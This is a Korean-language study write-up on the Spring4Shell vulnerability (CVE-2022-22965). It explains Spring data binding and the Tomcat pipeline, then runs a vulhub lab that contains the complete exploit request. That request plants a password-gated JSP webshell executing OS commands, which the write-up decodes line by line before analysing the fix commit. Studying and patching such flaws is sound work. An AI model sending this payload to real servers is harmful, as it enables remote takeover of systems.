
Spring4Shell(CVE-2022-22965)은 2022년 3월에 공개된 제로데이 취약점이다. 본 취약점은 Spring Framework의 데이터 바인딩(Data Binding) 처리 과정에서 발생한 원격 코드 실행(RCE)이 가능한 취약점이다. 취약 조건이 까다로운 편이지만, 공격 방법이 매우 쉽기 때문에 주의해야 한다.
WAR(Web Application Archive) 파일 배포는 Java 웹 애플리케이션을 톰캣(Tomcat) 등의 WAS에 올리는 과정이다.
WAR는 외부 컨테이너(Tomcat) 내부 구조를 그대로 사용하고, Tomcat의 설정 객체들이 객체 그래프에 노출되고, 웹 루트 하위에 실행 가능한 파일 생성 가능하기 때문에 배포방식이 WAR + Apache Tomcat이어야 한다.
POJO(Plain Old Java Object)방식은 오래된 방식의 간단한 자바 오브젝트라는 말로서 Java EE 등의 중량 프레임워크들을 사용하게 되면서 해당 프레임워크에 종속된 "무거운" 객체를 만들게 된 것에 반발해서 사용되게 된 용어이다.
공격의 흐름은 다음과 같다.

해당 취약점을 학습하기 전에 필요한 개념들을 학습해보고자 한다.
Spring MVC는 사용자의 HTTP 요청을 컨트롤러로 전달하고 요청 데이터를 객체로 변환한 뒤 처리 결과를 응답으로 반환하는 웹 프레임워크로, Java 기반 웹 애플리케이션 개발에서 가장 많이 사용되는 아키텍처 중 하나이다.
Spring4Shell은 Spring MVC의 데이터 바인딩(DataBinder) 을 악용한다.
Spring MVC의 핵심인 DispatcherServlet은 모든 web request를 가장 먼저 받는다.
HTTP 프로토콜로 들어오는 모든 request를 가장 먼저 받아 적합한 컨트롤러에 위임해주는 프론트 컨트롤러(Front Controller)라고 할 수 있다.

HandlerMapping
Spring MVC 요청 처리 흐름에서 이 요청을 누가 처리할지 결정하는 역할을 하는 핵심 컴포넌트이다. 요청 URL에 따라 어떤 @Controller method가 호출되어야 할지 결정한다.
HandlerAdapter
HandlerAdapter는 HandlerMapping이 반환한 Handler(Controller)를
실제로 실행해 주는 어댑터이다.
ViewResolver
ViewResolver는 Controller가 반환한 논리적인 뷰 이름(View Name)을 실제 응답으로 렌더링할 JSP, Thymeleaf 등의 View로 매핑해주는 컴포넌트이다.
데이터 바인딩은 어떤 데이터의 값을 다른 형식의 데이터로 매핑하는 프로세스이다.
Spring MVC 웹 프레임워크의 맥락에서 봤을 때 데이터 바인딩은 클라이언트 HTTP 요청의 Parameter, Body 데이터를 Java 객체로 변환하는 프로세스를 의미한다.
Spring의 데이터 바인딩은 내부적으로 PropertyEditor, Converter, Formatter와 같은
타입 변환 메커니즘을 사용할 수 있다.
Spring MVC에서는 이러한 데이터 바인딩을 WebDataBinder(DataBinder의 구현체)를 통해 수행하며, 요청 파라미터 이름을 객체의 property 경로로 해석한다.
ClassLoader는 JVM의 구성요소 중 하나로 '.class' 바이트 코드를 읽어 들여 class 객체를 생성하는 역할을 담당한다.
즉, 클래스가 요청될 때 class파일로부터 바이트 코드를 읽어 메모리로 로딩한다.
JVM(Java Virtual Machine) : 자바 가상 머신으로 자바 바이트코드(.class 파일)를 OS에 특화된 코드로 변환하여 실행한다.
ClassLoader는 계층 구조를 가진다. 상위 ClassLoader가 로드한 클래스는 하위에서 접근 가능하지만, 그 반대는 허용되지 않는다.
웹 애플리케이션 환경에서는 각 애플리케이션마다 독립적인 Web Application ClassLoader가 존재한다. 이 ClassLoader는 클래스 로딩, 리소스 접근 경로와 실행 컨텍스트를 함께 관리하기에 파일 시스템과 실행 환경을 간접적으로 제어할 수 있다.
Java 9에서는 module 시스템이 도입되어 ClassLoader의 범위와 구현 내용이 바뀌었다.
계층은 그대로지만, 로드하는 디렉토리의 위치, ClassLoader의 Name정도가 변경되었다.

Java 9부터 도입된 module 시스템으로 인해 Class 객체를 통해 module → classLoader로 이어지는 접근 경로가 추가되었고, 이것이 Spring4Shell 공격 체인의 핵심이 되었다.
Module System이란 Java 9부터 도입된 기능으로, 애플리케이션을 모듈 단위로 나누어
의존성과 접근 범위를 명시적으로 관리하는 시스템이다.module my.app { requires java.base; exports com.example.api; }다음과 같이 requires를 이용해 사용하는 모듈을 명시하고 exports를 이용해 외부에 공개할 패키지를 명시한다.
하나의 객체가 다른 객체를 참조하고, 그 객체가 다시 또 다른 객체를 참조하는 객체 간의 연결 구조를 시각적으로 또는 개념적으로 표현한 구조이다.
하단의 예시를 보면 Order는 User를 참조하고, User는 Address를 참조하고, Address는 city 를 참조하고 있는 관계(Order → User → Address → city)임을 알 수 있다.
class Order { private User user; } class User { private Address address; } class Address { private String city; }
Spring은 점(.)으로 구분된 요청 파라미터 이름을 객체 그래프 상의 Property Path로 해석한다.
예를 들어, user.address.city는 User 객체의 address 프로퍼티에 접근한 뒤, Address 객체의 city 프로퍼티에 순차적으로 접근(User → Address → city)하는 방식이다.
Spring4Shell 취약점은 데이터 바인딩 과정에서 객체 그래프 탐색 범위가 개발자가 의도한 도메인 객체를 넘어 프레임워크 내부 객체까지 확장될 수 있었던 점에서 발생했다.
실습 환경은 github에 있는 vulhub에서 가져와 사용하였다.
#docker-copmose.yml
services:
spring:
image: vulhub/spring-webmvc:5.3.17
ports:
- "8080:8080"
#docker-compose.yml 실행 명령어
docker-compose up -d
localhost:8080 에 접속하면 하단의 사진과 같이 name과 old에 값을 넣을 수 있다.

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
다음과 같이 요청을 보낸다.

생성된 파일의 내용의 역할을 하는 class.module.classLoader.resources.context.parent.pipeline.first.pattern에 들어간 값은 다음과 같다.
%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di
보기가 어려우니 이 값을 url decode 해서 보면, 다음과 같이 나온다. 이는 JSP webshell 코드를 Apache Tomcat 로그에 기록하기 위한 자바 코드이다.
%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
보기 좋게 정리를 더 해보면 다음과 같이 정리할 수 있다.
%{c2}i
if("j".equals(request.getParameter("pwd"))){
java.io.InputStream in =
%{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
while((a=in.read(b))!=-1){
out.println(new String(b));
}
}
%{suffix}i
하나하나 확인해보면 %{c2}i는 요청 헤더 c2의 값을, %{c1}i는 요청 헤더 c1의 값을, %{suffix}i는 요청 헤더의 suffix의 값을 의미한다. 앞에서 요청을 보낼때 하단의 문구를 사용하였다.
c2: <%
c1: Runtime
suffix: %>//
따라서 이를 적용해주면 하단과 같다.
<%
if("j".equals(request.getParameter("pwd"))){
java.io.InputStream in =
Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
while((a=in.read(b))!=-1){
out.println(new String(b));
}
}
%>
즉, pwd가 j이면 HTTP 요청 파라미터 cmd에 들어온 문자열을 서버 OS 명령어로 실행하게 하는 것이다.
참고로, 해당 경로는 Java의 Class 객체에서 시작해 Java 9에서 새로 생긴 Module System을 거쳐 ClassLoader로 이동한뒤, Apache Tomcat의 Web Application Context와 Pipeline에 접근한다. 여기서 pipeline에 연결된 valve중 첫 번째 valve인 first에 접근해 pattern에 내용을 적어준다. first로 접근하는 이유는 access log 관련 valve가 first이기 때문이다.
밸브(Valve) : Apache Tomcat 서버에서 요청과 응답을 처리하는 파이프라인의 구성 요소로, HTTP 요청과 관련된 로깅, 인증, 접근 제어, 요청/응답 변경과 같은 작업을 처리한다.
class.module.classLoader.resources.context.parent.pipeline.first.suffix에서 suffix는 로그 파일의 확장자 설정을 하는 부분이다.
해당 property path에 .jsp를 넣어주므로 Spring의 데이터 바인딩을 통해 Tomcat 내부 로그 설정 객체에 접근하여, .log 였던 로그 파일의 확장자를 .jsp로 변경하고 있음을 알 수 있다.
class.module.classLoader.resources.context.parent.pipeline.first.directory에서 directory는 로그 파일이 저장되는 위치를 설정하는 부분이다. 해당 property path에 webapps/ROOT를 넣어주므로 이가 악의적인 파일이 위치할 디렉터리로 볼 수 있다.
class.module.classLoader.resources.context.parent.pipeline.first.prefix에서 prefix는 로그 파일 이름의 접두사 부분이다. 해당 property path에 tomcatwar를 넣어주므로 이를 생성할 파일의 이름을 설정해준다.
class.module.classLoader.resources.context.parent.pipeline.first.fileDataFormat에서 filaDataFormat은 로그 파일 이름에 포함될 날짜 문자열의 포맷을 설정하는 부분이다.
http://localhost:8080/tomcatwar.jsp?pwd=j&cmd=id
다음과 같이 접속해 test를 해보면 rce가 잘 되었음을 확인할 수 있다.

패치가 진행된 commit 002546b3e4b8d791ea6acccb81eb3168f51abb15 에 대해 분석하며 자세히 알아보려고 한다.
이번 commit에서 바뀐 내용은 CachedIntrospectionResults.java에 대한 내용이다.
CachedIntrospectionResults.java는 spring-beans 모듈 내에 존재하는 핵심 내부 클래스이다. 이 클래스의 주된 역할은 JavaBean의 속성(PropertyDescriptor) 정보를 캐싱하여 성능을 향상시키는 것이다.

patch 전
바인딩 대상이 Class 객체이고, 그중 classLoader나 protectionDomain 객체인 경우에 대해서 무시를 하고 있다.
beanClass는 지금 Spring이 데이터 바인딩하려고 보고 있는 객체의 실제 클래스 타입이다.
patch 후
바인딩 대상이 Class 객체라면, 이름(name) 관련 속성 말고는 전부 바인딩 대상에서 제외한다.

patch 전
이 클래스(beanClass)에 바인딩 가능한 프로퍼티들을 수집하는 과정의 코드이다.
patch 후
프로퍼티의 타입을 검사해서 타입이 ClassLoader 또는 ProtectionDomain이면 아예 등록하지 않고 건너뛴도록 패치하였다.
Spring Framework를 최신 버전(5.3.18 / 5.2.20 이상)으로 업그레이드 한다.
Spring Boot를 직접 사용하는 경우 2.6.6 버전으로 업그레이드 한다.
